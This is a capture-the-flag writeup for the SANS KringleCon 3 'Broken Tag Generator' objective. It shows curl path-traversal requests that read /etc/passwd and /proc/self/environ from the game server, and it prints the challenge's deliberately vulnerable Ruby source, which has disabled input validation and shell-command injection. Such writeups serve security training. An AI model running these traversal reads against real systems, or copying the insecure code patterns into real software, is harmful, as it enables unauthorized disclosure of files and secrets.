KringleCon3 2020 Objective Eight Writeup: Broken Tag Generator


KringleCon3 Overview

KringleCon is the annual Holiday Hacking Challenge put on by the SANS Institute. Players are presented with a variety of security themed objectives and CLI challenges which provide valuable hints. In addition, the KringleCon YouTube Channel provides additional training, helpful for solving obstacles within the game, as well as practical security advice outside the game.

When KringleCon is over, players publish writeups. Each player tackles the objectives in their own unique way. These writeups help us gain insight into the minds of each individual player.

Objective Overview

Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.

Elf Hints

  • We might be able to find the problem if we can get source code!
  • Can you figure out the path to the script? It’s probably on error pages!
  • Once you know the path to the file, we need a way to download it!
  • Is there an endpoint that will print arbitrary files?
  • If you’re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!
  • I’m sure there’s a vulnerability in the source somewhere… surely Jack wouldn’t leave their mark?
  • If you find a way to execute code blindly, I bet you can redirect to a file then download that file!
  • Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!

Objective Detailed Writeup

Initial Findings

The main site where the objective takes place is here:

https://tag-generator.kringlecastle.com/

Looking at the source of the html, there is a java script file:

https://tag-generator.kringlecastle.com/js/app.js

In the app.js file, there are endpoints such as /upload, /save

Assumptions After Initial Observations

  • Need to find the script generating the website
  • Expect to exploit some type of RCE code
  • Need to exploit a flaw in /upload or /save
  • Directory traversal type attack to view the file

Solving

First, we input random URLS to see what errors are returned:

The hints warn of a display problem with the Content-Type. Retrying with the same URL from the command line results in the full path to the application generating the error:

jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/foo
<h1>Something went wrong!</h1>

<p>Error in /app/lib/app.rb: Route not found</p>

After downloading and looking through the app.js script, there is an image endpoint. Calling with the /image endpoint generates a different error:

jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image
<h1>Something went wrong!</h1>

<p>Error in /app/lib/app.rb: ID is missing!</p>

Adding foo to ?id= returns an attempt to be funny:

# Hahaha, Foo returns yo: foo you
jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=foo
yo

Trying different variables, such as test, returns a path error. This indicates the app.rb is accepting input and using it try and find files within a path:

jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=test
<h1>Something went wrong!</h1>

<p>Error in /app/lib/app.rb: Is a directory @ io_fread - /tmp/test</p>

Trying more paths to see what happens, this time /tmp:

jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=tmp
<h1>Something went wrong!</h1>

<p>Error in /app/lib/app.rb: Is a directory @ io_fread - /tmp/tmp</p>

The script is not sanitizing input and accepts .. as an argument, allowing us to move up directories:

jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=..
<h1>Something went wrong!</h1>

<p>Error in /app/lib/app.rb: Is a directory @ io_fread - /tmp/..</p>

Alternatively, try in burp suite:

We know from the errors above, the working directory is /tmp. By adding .. to the path, we can start to look for files within the root / directory. By using the full path to the script ../app/lib/app.rp we can display its contents:

jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=../app/lib/app.rb
# encoding: ASCII-8BIT

TMP_FOLDER = '/tmp'
FINAL_FOLDER = '/tmp'

# Don't put the uploads in the application folder
Dir.chdir TMP_FOLDER

require 'rubygems'

require 'json'
require 'sinatra'
require 'sinatra/base'
require 'singlogger'
require 'securerandom'

require 'zip'
require 'sinatra/cookies'
require 'cgi'

require 'digest/sha1'

LOGGER = ::SingLogger.instance()

MAX_SIZE = 1024**2*5 # 5mb

# Manually escaping is annoying, but Sinatra is lightweight and doesn't have
# stuff like this built in :(
def h(html)
  CGI.escapeHTML html
end

def handle_zip(filename)
  LOGGER.debug("Processing #{ filename } as a zip")
  out_files = []

  Zip::File.open(filename) do |zip_file|
    # Handle entries one by one
    zip_file.each do |entry|
      LOGGER.debug("Extracting #{entry.name}")

      if entry.size > MAX_SIZE
        raise 'File too large when extracted'
      end

      if entry.name().end_with?('zip')
        raise 'Nested zip files are not supported!'
      end

      # I wonder what this will do? --Jack
      # if entry.name !~ /^[a-zA-Z0-9._-]+$/
      #   raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
      # end

      # We want to extract into TMP_FOLDER
      out_file = "#{ TMP_FOLDER }/#{ entry.name }"

      # Extract to file or directory based on name in the archive
      entry.extract(out_file) {
        # If the file exists, simply overwrite
        true
      }

      # Process it
      out_files << process_file(out_file)
    end
  end

  return out_files
end

def handle_image(filename)
  out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
  out_path = "#{ FINAL_FOLDER }/#{ out_filename }"

  # Resize and compress in the background
  Thread.new do
    if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
      LOGGER.error("Something went wrong with file conversion: #{ filename }")
    else
      LOGGER.debug("File successfully converted: #{ filename }")
    end
  end

  # Return just the filename - we can figure that out later
  return out_filename
end

def process_file(filename)
  out_files = []

  if filename.downcase.end_with?('zip')
    # Append the list returned by handle_zip
    out_files += handle_zip(filename)
  elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
    # Append the name returned by handle_image
    out_files << handle_image(filename)
  else
    raise "Unsupported file type: #{ filename }"
  end

  return out_files
end

def process_files(files)
  return files.map { |f| process_file(f) }.flatten()
end

module TagGenerator
  class Server < Sinatra::Base
    helpers Sinatra::Cookies

    def initialize(*args)
      super(*args)
    end

    configure do
      if(defined?(PARAMS))
        set :port, PARAMS[:port]
        set :bind, PARAMS[:host]
      end

      set :raise_errors, false
      set :show_exceptions, false
    end

    error do
      return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" })
    end

    not_found do
      return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" })
    end

    get '/' do
      erb(:index)
    end

    post '/upload' do
      images = []
      images += process_files(params['my_file'].map { |p| p['tempfile'].path })
      images.sort!()
      images.uniq!()

      content_type :json
      images.to_json
    end

    get '/clear' do
      cookies.delete(:images)

      redirect '/'
    end

    get '/image' do
      if !params['id']
        raise 'ID is missing!'
      end

      # Validation is boring! --Jack
      # if params['id'] !~ /^[a-zA-Z0-9._-]+$/
      #   return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
      # end

      content_type 'image/jpeg'

      filename = "#{ FINAL_FOLDER }/#{ params['id'] }"

      if File.exists?(filename)
        return File.read(filename)
      else
        return 404, "Image not found!"
      end
    end

    get '/share' do
      if !params['id']
        raise 'ID is missing!'
      end

      filename = "#{ FINAL_FOLDER }/#{ params['id'] }.png"

      if File.exists?(filename)
        erb(:share, :locals => { id: params['id'] })
      else
        return 404, "Image not found!"
      end
    end

    post '/save' do
      payload = params
      payload = JSON.parse(request.body.read)

      data_url = payload['dataURL']
      png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1])

      out_hash = Digest::SHA1.hexdigest png
      out_filename = "#{ out_hash }.png"
      out_path = "#{ FINAL_FOLDER }/#{ out_filename }"

      LOGGER.debug("output: #{out_path}")
      File.open(out_path, 'wb') { |f| f.write(png) }
      { id: out_hash }.to_json
    end
  end
end

For fun, let’s try and display the /etc/passwd file. Since this works we know any file the web server has permissions to view will be displayed:

jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000:,,,:/home/app:/bin/bash

The goal of this challenge is to get an environment variable, I suspect there is a remote code exploit in the app.rb script, but there is an easier way to pull an environment variable.

The /proc filesystem in Linux contains information about running processes. The web server process probably contains the environment variable, we need to examine. By examining the /proc/self/environ, it will return all environment variables for the web server process:

jemurray@jasons-mbp ~ % curl https://tag-generator.kringlecastle.com/image\?id=../proc/self/environ --output -
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=cbf2810b7573RUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=0.0.0.0GREETZ=JackFrostWasHereHOME=/home/app%

Helpful Advice

Have persistence. I spent hours trying URL permutations after looking at the initial app.js code.

Answer

Command to get the variable:

curl https://tag-generator.kringlecastle.com/image\?id=../proc/self/environ --output -

Answer:

GREETZ=JackFrostWasHere